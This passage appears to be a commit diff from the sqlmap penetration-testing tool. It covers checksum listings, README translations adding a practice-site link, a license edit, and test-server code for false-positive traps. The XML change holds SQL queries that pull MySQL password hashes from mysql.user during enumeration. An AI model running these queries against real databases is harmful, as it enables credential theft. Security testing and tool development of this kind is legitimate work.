44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py
d16977d057c28888aa41500f79a19789cadef693cb8b7d9a3bca55b983ce2266 tests/test_agent.py
138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a tests/test_api.py
feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py
36bcb68483d824db5d05870fab62f1907221bf256826b734302fbc15a9231c42 tests/test_brute.py
0e9054da5d1fed1ddfc982b8f559914237f65d9be5e595c3218fcd236dfa7212 tests/test_agent.py
9dc0ce7a038e7ac67c7f992b478a58492dad335d14761fa0600eec1f5a339c76 tests/test_api.py
694d8c87b2b98d7de6bc09fd634a2d32c436c7955c793cca6fa8790d3868f701 tests/test_bigarray.py
aeefe699f477e77ec4fb46c2692a1ea04cd89ad9cce62e8857d13e3bc0606e9d tests/test_brute.py
27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py
7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012 tests/test_checks.py
9cc73e06ba3b4c07e0d8f5fd1962f8f25ba6b7ab7278cfb094bfff76fe5e7328 tests/test_checks.py
9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py
2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py
cdacb37cbe5667fded00abe62a822e11c917e9cb5c3f664b7aa1a8d738412ed4 tests/test_common.py
886754f39804a4f3f7157124b21ce08d9bad83d156dcd81bc942521bb42c4a29 tests/test_common.py
899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py
7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py
a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c tests/test_compat.py
75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py
2bd0faeaf7db1d73dd0caab3bde9900fdaa1f38fd736a6e238cd56ff9bc67b66 tests/test_databases_enum.py
6e3c08e1f76dd6c782d2ddc505b4e1a751b381c88ad91f79a95bf49f9c28a28f tests/test_databases_enum.py
c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py
9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py
8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70 tests/test_dbms_enum.py
7cf63166206d543ff4423e1b5bda3ec3212805b0aeaf95d877117df7eb79c8ec tests/test_dbms_enum.py
3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py
180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py
b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7 tests/test_dialectdbms.py
e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py
fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dialectdbms.py
41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py
993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py
7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py
ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns_server.py
4556bb0bfa6fcd5b98552426c57c99942ee8274eaefec7c316fd64247e4fcd6a tests/test_dump_format.py
9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py
62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py
6047483d7fb41e0dbf4b067394d8a9e2b39b99faf473db963de6f2f67c052b03 tests/test_dns_server.py
3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py
118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py
2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py
fe1211ce43a51cd8ec7dd3395aafda8d7313ff60e2ef013072ce9fa49ca4a242 tests/test_entries.py
bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py
26730151abea598f193131c5d64ef92b531941972f3d6236f9951c3116030b1c tests/test_filesystem.py
16fba97cba6afe8af11aa30bcc4266f53b00f2530161e010af10b51db1509703 tests/test_fingerprint.py
20844dfc758e99b2f757906c51ef32aca0f699283ec5aa629158d3dc0fd279ea tests/test_generic_takeover.py
f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463 tests/test_graphql.py
f4c54b19a294bf392b23dc627781d50894c8e44ca4fe5d7315c98984a3e196a4 tests/test_entries.py
ed7df24ce154e4cbb4462874a38202794664d12b083845bbee9f80481ec9cf52 tests/test_error_engine.py
950527f0abaffdc031e34336a870cd0f89723ee8589bf77763f5978f5e4c0be8 tests/test_filesystem.py
31fa778c7ee318169961d04ea7b93afc539c24b4114a6a3eaf45698fef57bb4b tests/test_fingerprint.py
abb6eef3d2d08b87b6210dde6dd1333d39da64f5abe5574240fa47efce7528f3 tests/test_generic_takeover.py
b7d59fe68af29d47dda1d7ad77e9b5c91ed50e9efbb976e62e0dc67dd11b3e17 tests/test_graphql.py
50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b tests/test_gui_helpers.py
92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac tests/test_har.py
cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f tests/test_hash_crack.py
0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py
c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py
d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py
5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py
0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py
caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py
790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py
b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py
139dcedb9093eb0404ce497549eb6ab7e83ae1e70df8eb42da74ab5a3e7d2a85 tests/test_identifiers_output.py
0a5736b86a47e66d47d44ecf7b8c7531417453fc3e976cd64e9865d3afba78f4 tests/test_inference_engine.py
22629df783f75a88c2a30ffb8e37af095e761b771322fefbd69bdd7a5c9348fb tests/test_ldap.py
571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py
d2f701f4c3a8621b937ddd322343df91e102af5424ab58675dec4dc7781035b4 tests/test_misc.py
2f6d2270b26f68b3c9b511364c57eb5eb7b010ff716346fe2b320df30280f94c tests/test_nosql.py
88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py
a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py
6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py
cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py
7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97 tests/test_parse_modules.py
0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70 tests/test_payload_marking.py
fc698e34b53e95c2cc190dadb087d5873711202b2c5eef9db9fc6de5f9c88063 tests/test_pagecontent.py
7297b791aed9278d9252a3ade688e67796eb5c9cc4d6b29e1d2b56d83aa20295 tests/test_parse_modules.py
6cfe189c49749a2e0bc551173f5d2c4eb5aad8cbb1f9584ecc60958b9a842725 tests/test_payload_marking.py
6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py
d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py
a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py
c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487 tests/test_purge.py
2d135eba3ad0fd091962d84742ebf67314fd3f89dcaaa1252b3e3d76fae7c9fd tests/test_property.py
9a0915f34e1f80a2989238fcce940734cd886020c549711a8444e7ee62eab812 tests/test_purge.py
2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py
67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py
427a543e17dfede42b9fbccc916fa0aecd93fb7bfb5c280de4c2bca87c5d8de5 tests/test_report.py
4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8 tests/test_request_basic.py
cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py
5b6ce95dddbd07d0126224f4f066643938476e536e18b700ea5d916e1052a715 tests/test_search_enum.py
575ebc336be598858279094072cde1ac9b124109cd7397bd805decd1b0a616d4 tests/test_search_enum.py
a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py
29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py
295581435c4dbf7fe6c291bbf0163c43ccb6ee610e6f3f2609bfeed734c91a1a tests/test_sgmllib.py
d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py
412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e tests/test_ssti.py
19e1e17d7a94e42cf75a37901c3468c79807a2d423bd1988b6f4a2566b864f3b tests/test_ssti.py
8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py
8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py
67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62 tests/test_target_parsing.py
b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py
0e644bb7b25c183d0d689ea7be542d7a2ce780cc68067f89afb2ee095a79f762 tests/test_techniques.py
639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py
f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4 tests/test_threads.py
708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py
b2b3a00254301e5e880e2e77351ebc47eed2c5280477915feedf780ea8cbd34f tests/test_target_parsing.py
cc67045d60472913eca574d601077e5111a95f4563c66caf361b8deaa2bed03c tests/test_targeturl.py
d7d8aaba1d22ee690c8da2c6e28cea0ab45b0d7a6915a5ae7f581c44d7121aab tests/test_techniques.py
61769e1d6c4429659ebfb2de696b506821e3c6f3ca81b4318ce790b9553ca6a3 tests/test_texthelpers.py
095a889a6274f0f8e437bf9a23e4b073ab6c4b60aba582e6d1e2099645f1d883 tests/test_threads.py
8d23cb42cde68e0da2c4b47db367139d0c53363fef7493ae70b7f6636a1bbbc7 tests/test_union_engine.py
48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py
4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py
eca021208e388b4d14c53f1e9f8a6e7d685e54ba572fb2a8487e6b620a20bcb5 tests/test_users_enum.py
045f05f958100adc883b3f56613c5f8002dd19d0752225397a1f771775cb2779 tests/_testutils.py
b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_users_enum.py
729b3a5e00fff2e2b6c3acd3fd3e970ac1985c0a6ad1829b23c4099bd409afa1 tests/_testutils.py
2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
2698060e7f001e054e345512ce95be458d9902b913afa769398b53145475738a tests/test_xpath.py
9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py
db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
@ -724,8 +735,6 @@ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/mag
4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py
ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py
9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py
3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py
c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py

View file

@ -35,8 +35,8 @@
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
<!-- https://stackoverflow.com/a/31122246 -->
<passwords>
<inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
<blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
<inband query="SELECT user,IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string) FROM mysql.user" condition="user"/>
<blind query="SELECT DISTINCT(IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string)) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
</passwords>
<privileges>
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>

View file

@ -270,8 +270,6 @@ be bound by the terms and conditions of this License Agreement.
Copyright (C) 2024, Marcel Hellkamp.
* The `identYwaf` library located under `thirdparty/identywaf/`.
Copyright (C) 2019-2021, Miroslav Stampar.
* The `ordereddict` library located under `thirdparty/odict/`.
Copyright (C) 2009, Raymond Hettinger.
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
Copyright (C) 2010-2024, Benjamin Peterson.
* The `Termcolor` library located under `thirdparty/termcolor/`.

View file

@ -65,4 +65,5 @@
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* تويتر: [@sqlmap](https://x.com/sqlmap)
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* ساحة التدريب: https://sekumart.sekuripy.hr
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Площадка за упражнения: https://sekumart.sekuripy.hr
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -58,5 +58,6 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* অনুশীলন সাইট: https://sekumart.sekuripy.hr
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -62,6 +62,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
وەرگێڕانەکان

View file

@ -46,4 +46,5 @@ Links
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Spielwiese: https://sekumart.sekuripy.hr
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -46,4 +46,5 @@ Enlaces
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Campo de pruebas: https://sekumart.sekuripy.hr
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -81,4 +81,5 @@
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* توییتر: [@sqlmap](https://x.com/sqlmap)
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* زمین تمرین: https://sekumart.sekuripy.hr
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -46,4 +46,5 @@ Liens
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Terrain de jeu: https://sekumart.sekuripy.hr
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Χώρος δοκιμών: https://sekumart.sekuripy.hr
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Poveznice
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Vježbalište: https://sekumart.sekuripy.hr
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -50,4 +50,5 @@ Tautan
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
* Arena latihan: https://sekumart.sekuripy.hr
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -46,5 +46,6 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7**
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* अभ्यास स्थल: https://sekumart.sekuripy.hr
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
*

View file

@ -47,4 +47,5 @@ Link
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Campo di prova: https://sekumart.sekuripy.hr
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -48,4 +48,5 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* プレイグラウンド: https://sekumart.sekuripy.hr
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -46,4 +46,5 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* 트위터: [@sqlmap](https://x.com/sqlmap)
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* 플레이그라운드: https://sekumart.sekuripy.hr
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Links
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Speeltuin: https://sekumart.sekuripy.hr
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Odnośniki
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Piaskownica: https://sekumart.sekuripy.hr
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Links
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
* Playground: https://sekumart.sekuripy.hr
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Linkovi
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Poligon: https://sekumart.sekuripy.hr
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Песочница: https://sekumart.sekuripy.hr
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Linky
* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Cvičisko: https://sekumart.sekuripy.hr
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -50,4 +50,5 @@ Bağlantılar
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Deneme alanı: https://sekumart.sekuripy.hr
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Пісочниця: https://sekumart.sekuripy.hr
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -49,4 +49,5 @@ Liên kết
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Sân tập: https://sekumart.sekuripy.hr
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -46,4 +46,5 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* 靶场: https://sekumart.sekuripy.hr
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -17,6 +17,7 @@ import sqlite3
import string
import sys
import threading
import time
import traceback
PY3 = sys.version_info >= (3, 0)
@ -1044,6 +1045,57 @@ class ReqHandler(BaseHTTPRequestHandler):
self.wfile.write(output.encode(UNICODE_ENCODING))
return
if self.url == "/fp":
# False-positive battery traps (exercised on demand by '--fp-test'). Every trap is
# deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not
# injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin).
trap = self.params.get("trap", "reflect")
idv = self.params.get("id", "1")
def _rnd(n=8):
return "".join(random.choice("0123456789abcdef") for _ in range(n))
if trap == "intcast":
# parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean
# payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it.
try:
hit = int(idv) in (1, 2, 3)
except ValueError:
hit = False
output = "<html><body><b>SQL results:</b><table border=\"1\">%s</table></body></html>" % ("<tr><td>%s</td><td>luther</td><td>blisset</td></tr>" % idv if hit else "")
elif trap == "structrand":
# heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not
# reflected into the structure -> stresses the structure-aware comparison oracle.
rows = "".join("<tr><td>%s</td><td>%s</td></tr>" % (_rnd(), _rnd()) for _ in range(3))
output = ("<html><head><title>Report</title></head><body><div class=\"csrf\">%s</div>"
"<nav class=\"top\">token %s</nav><table id=\"grid\" class=\"res\">%s</table>"
